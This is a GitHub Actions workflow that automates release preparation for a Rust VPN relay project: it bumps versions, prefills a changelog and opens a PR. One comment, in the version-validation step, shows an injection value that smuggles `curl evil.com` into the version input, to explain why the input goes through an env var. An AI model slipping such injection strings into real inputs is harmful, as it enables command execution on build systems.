Files
MasterHttpRelayVPN-RUST/.github/workflows/prepare-release.yml

297 lines
14 KiB
YAML

# Prepare a new release: bump version strings, prefill the changelog
# stub from release-drafter's draft, and open a PR. After the PR is
# merged, you push the `v<version>` tag manually and `release.yml`
# takes over (matrix build → GitHub release → Telegram notify).
#
# Triggered manually from the Actions UI or via:
# gh workflow run prepare-release.yml -f version=1.6.6
#
# What it bumps in the PR:
# - Cargo.toml version = "X.Y.Z"
# - Cargo.lock mhrv-rs entry's version
# - android/app/build.gradle.kts versionName = "X.Y.Z"
# versionCode = previous + 1
#
# What it leaves alone:
# - tunnel-node/Cargo.toml — versioned independently from the app.
# The docker tunnel image is tagged from the git release tag (not
# from this Cargo.toml), so we don't need to touch it.
#
# What it prefills in docs/changelog/v<version>.md:
# - Persian section: an inline `[FA] translate ...` placeholder line.
# Visible if not edited — ships into the release page as an obvious
# marker rather than a quiet comment leak.
# - Separator: `---`
# - English section: bullets pulled from release-drafter's `next`
# draft release, each suffixed with `: <expand>` to remind you to
# add an explanatory clause in the project's existing
# `• headline (#NN): full explanation` style. If no draft exists
# yet (e.g. immediately after installing release-drafter, before
# any PRs have merged), the English section is empty and you fill
# it in by hand.
name: prepare-release
on:
workflow_dispatch:
inputs:
version:
description: 'New version to release (without the leading v). Example: 1.6.6'
required: true
type: string
permissions:
contents: write
pull-requests: write
jobs:
bump:
runs-on: ubuntu-latest
steps:
# Always check out main, regardless of which branch the dispatch
# was fired from. workflow_dispatch can be triggered from any ref;
# without an explicit `ref:` the version bumps would land on top
# of whatever branch the dispatcher had checked out, and the
# resulting PR would carry that branch's diffs alongside the bumps.
- uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0 # need tag history for the duplicate-tag check below
- name: Validate version
id: ver
env:
# Pass the dispatch input through an env var rather than
# `${{ inputs.version }}` interpolation. GitHub interpolates
# the expression *before* the shell parses the script, so a
# value like `1.0.0"; curl evil.com; echo "` would execute
# before the regex check below ever ran. workflow_dispatch
# is gated to write-access users so practical risk is low,
# but this is the pattern GitHub's own docs recommend for
# defense in depth.
INPUT_VERSION: ${{ inputs.version }}
run: |
set -euo pipefail
VER="$INPUT_VERSION"
VER="${VER#v}"
if ! [[ "$VER" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::version '$VER' is not in X.Y.Z format"
exit 1
fi
if git rev-parse "v${VER}" >/dev/null 2>&1; then
echo "::error::tag v${VER} already exists; pick a different version"
exit 1
fi
BRANCH="release/v${VER}"
if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then
echo "::error::branch $BRANCH already exists on origin; delete it or pick a different version"
exit 1
fi
echo "version=${VER}" >> "$GITHUB_OUTPUT"
echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT"
- name: Bump Cargo.toml + Cargo.lock
env:
NEW_VER: ${{ steps.ver.outputs.version }}
run: |
set -euo pipefail
# Edit both files via Python so we anchor on the `name = "mhrv-rs"`
# line and only touch the package's own version, not unrelated
# `version = "..."` lines elsewhere in the lockfile.
python3 <<'PY'
import os, re, pathlib, sys
ver = os.environ["NEW_VER"]
for path in ("Cargo.toml", "Cargo.lock"):
p = pathlib.Path(path)
src = p.read_text()
new = re.sub(
r'(name = "mhrv-rs"\nversion = ")[0-9.]+(")',
rf'\g<1>{ver}\g<2>',
src,
count=1,
)
if new == src:
sys.exit(f"ERROR: mhrv-rs version line not found in {path}")
p.write_text(new)
print(f"{path} -> {ver}")
PY
- name: Bump android versionName + versionCode
env:
NEW_VER: ${{ steps.ver.outputs.version }}
run: |
set -euo pipefail
# versionCode increments by 1 on every release; versionName mirrors
# the Cargo version. Both live in android/app/build.gradle.kts.
python3 <<'PY'
import os, re, pathlib, sys
ver = os.environ["NEW_VER"]
p = pathlib.Path("android/app/build.gradle.kts")
src = p.read_text()
m = re.search(r'versionCode\s*=\s*(\d+)', src)
if not m:
sys.exit("ERROR: versionCode not found in build.gradle.kts")
old_code = int(m.group(1))
new_code = old_code + 1
src = src[:m.start(1)] + str(new_code) + src[m.end(1):]
src, n = re.subn(
r'versionName\s*=\s*"[^"]+"',
f'versionName = "{ver}"',
src,
count=1,
)
if n == 0:
sys.exit("ERROR: versionName not found in build.gradle.kts")
p.write_text(src)
print(f"android/app/build.gradle.kts -> versionName={ver}, versionCode={old_code}->{new_code}")
PY
- name: Fetch release-drafter draft body
id: draft
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
# release-drafter accumulates merged-PR titles into a draft tagged
# `next`. Pull its body for the changelog stub. `--repo` is set
# explicitly so we always look up the release in this repo even
# if a future maintainer ever creates a real `next` git tag in a
# fork or upstream. If no draft exists yet (release-drafter just
# installed, no PRs merged since), the `|| true` keeps us going
# with an empty body — you fill the English section by hand.
# `--jq 'select(.isDraft) | .body'` returns nothing if `next` is
# not a draft (i.e. someone manually published a release with
# tag `next`, or pushed a real `next` git tag with a release
# attached). On that path we treat it as "no draft" and fall
# through to the empty-body branch — better than echoing a
# surprise release body into the changelog stub.
BODY=$(gh release view next --repo "${{ github.repository }}" \
--json body,isDraft --jq 'select(.isDraft) | .body' 2>/dev/null || true)
if [ -z "$BODY" ]; then
echo "::notice::no release-drafter 'next' draft found; English section will be empty"
else
echo "::notice::pulled $(printf '%s' "$BODY" | wc -l) lines from draft release"
fi
# Multiline outputs need a heredoc-style delimiter — pick one that
# cannot appear in a release-drafter bullet line.
{
echo 'body<<__DRAFT_BODY_EOF__'
printf '%s\n' "$BODY"
echo '__DRAFT_BODY_EOF__'
} >> "$GITHUB_OUTPUT"
- name: Write changelog stub
env:
NEW_VER: ${{ steps.ver.outputs.version }}
DRAFT_BODY: ${{ steps.draft.outputs.body }}
run: |
set -euo pipefail
# Build the file with shell `echo`/`printf` (not a YAML-level
# heredoc with $-double-curly interpolation) so backticks, dollar
# signs, or EOF tokens in the draft body can't break us.
#
# Why no TODO/instructional <!-- comments -->:
# release.yml strips leading <!-- comment --> blocks from the
# file before publishing the GitHub Release body, and the
# Telegram script does the same — both via a regex that handles
# multiple consecutive comments. But relying on stripping is
# brittle: a maintainer adding a new comment with a different
# shape (multi-line, indented, etc.) could leak it. Instead we
# use VISIBLE placeholders below. If the maintainer forgets to
# edit them, they ship as obvious `[FA]`/`<expand>` markers
# that an admin will spot in the release page within seconds.
mkdir -p docs/changelog
OUT="docs/changelog/v${NEW_VER}.md"
{
echo '<!-- see docs/changelog/v1.1.0.md for the file format: Persian, then `---`, then English. -->'
echo '[FA] translate the English bullets below into Persian and replace this line.'
echo ''
echo '---'
# Append the English section if release-drafter had any.
# Skip the printf entirely on empty so we don't leave a
# trailing blank line under `---`.
if [ -n "$DRAFT_BODY" ]; then
# Strip Conventional-Commit prefixes (`feat:`, `fix(android):`,
# etc.) from the start of each bullet headline. PR titles in
# this repo all carry these prefixes by convention, but the
# existing changelog style is verb-first ("Add X" / "Fix Y"),
# not type-first. Stripping here saves the maintainer one
# manual step per bullet; they still need to fix the verb
# tense (e.g. "added" → "Add") since GitHub PR titles tend
# to be past-tense and the changelog convention is imperative.
#
# Bullet shape from release-drafter is:
# • feat(scope): title text ([#NN](url)): <expand>. Thanks @user
# After this sed:
# • title text ([#NN](url)): <expand>. Thanks @user
printf '%s\n' "$DRAFT_BODY" \
| sed -E 's/^(• )(feat|fix|chore|docs?|refactor|perf|test|build|ci|style|revert)(\([^)]*\))?!?: */\1/i'
fi
} > "$OUT"
echo "wrote $OUT ($(wc -l < "$OUT") lines)"
# No `Ensure release-prep label exists` step here — release-drafter's
# workflow runs on every push to main, and its `Ensure autolabeler
# labels exist` step creates `release-prep` (along with the type:*
# labels). Since these workflow files only land via a push to main,
# release-drafter's bootstrap necessarily runs before the first
# prepare-release dispatch. If for some reason release-drafter is
# disabled, `gh pr create --label release-prep` below will fail with
# an actionable "label not found" — fix is to re-enable
# release-drafter or run `gh label create release-prep` once by hand.
- name: Commit, push, and open PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
NEW_VER: ${{ steps.ver.outputs.version }}
BRANCH: ${{ steps.ver.outputs.branch }}
run: |
set -euo pipefail
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git checkout -b "$BRANCH"
git add Cargo.toml Cargo.lock android/app/build.gradle.kts \
"docs/changelog/v${NEW_VER}.md"
git commit -m "release: prepare v${NEW_VER}"
git push -u origin "$BRANCH"
# Write the PR body to a file rather than fight nested heredoc
# escaping in the YAML run: block.
#
# IMPORTANT: this heredoc terminator (`MSG`) is INTENTIONALLY
# unquoted so that ${NEW_VER} and ${BRANCH} expand. Backticks
# in the body are escaped (\`) for the same reason. If you
# paste anything into the template below, watch out for `$(...)`
# and unescaped backticks — they will execute at workflow run
# time. To add a static block that should NOT interpolate, build
# it with a separate `<<'STATIC'` heredoc and concat afterward.
cat > /tmp/pr-body.md <<MSG
Automated version bump for **v${NEW_VER}**.
Bumped in this PR:
- \`Cargo.toml\` and \`Cargo.lock\` → ${NEW_VER}
- \`android/app/build.gradle.kts\` → versionName=${NEW_VER}, versionCode incremented by 1
- \`docs/changelog/v${NEW_VER}.md\` stubbed; English bullets prefilled from release-drafter's \`next\` draft
**Before merging — finish the changelog on this branch:**
1. Check out this branch locally: \`git fetch && git checkout ${BRANCH}\`
2. In \`docs/changelog/v${NEW_VER}.md\`:
- **Persian section:** replace the \`[FA] translate ...\` line with the Persian bullets above the \`---\` separator.
- **English section:** for each bullet, (a) fix the verb tense if needed (release-drafter passes through PR titles as-is, so "added" → "Add", "fixed" → "Fix"), and (b) replace \`<expand>\` with a short explanatory clause matching the project's \`• headline (#NN): full explanation\` style. The Conventional-Commit prefix (\`feat:\`/\`fix:\`/etc.) and the trailing \`. Thanks @author\` are already handled.
3. Commit + push to this branch so the PR includes the final bilingual changelog.
Any \`[FA]\` or \`<expand>\` markers left in the file will ship verbatim into the GitHub Release page and the Telegram post — they're intentionally visible, not hidden in HTML comments.
**After merging — ship it:**
1. \`git checkout main && git pull\`
2. \`git tag v${NEW_VER} && git push origin v${NEW_VER}\`
3. \`release.yml\` picks up the tag, builds artifacts, creates the GitHub release, and (if enabled) posts to Telegram.
MSG
gh pr create \
--base main \
--head "$BRANCH" \
--title "release: prepare v${NEW_VER}" \
--label "release-prep" \
--body-file /tmp/pr-body.md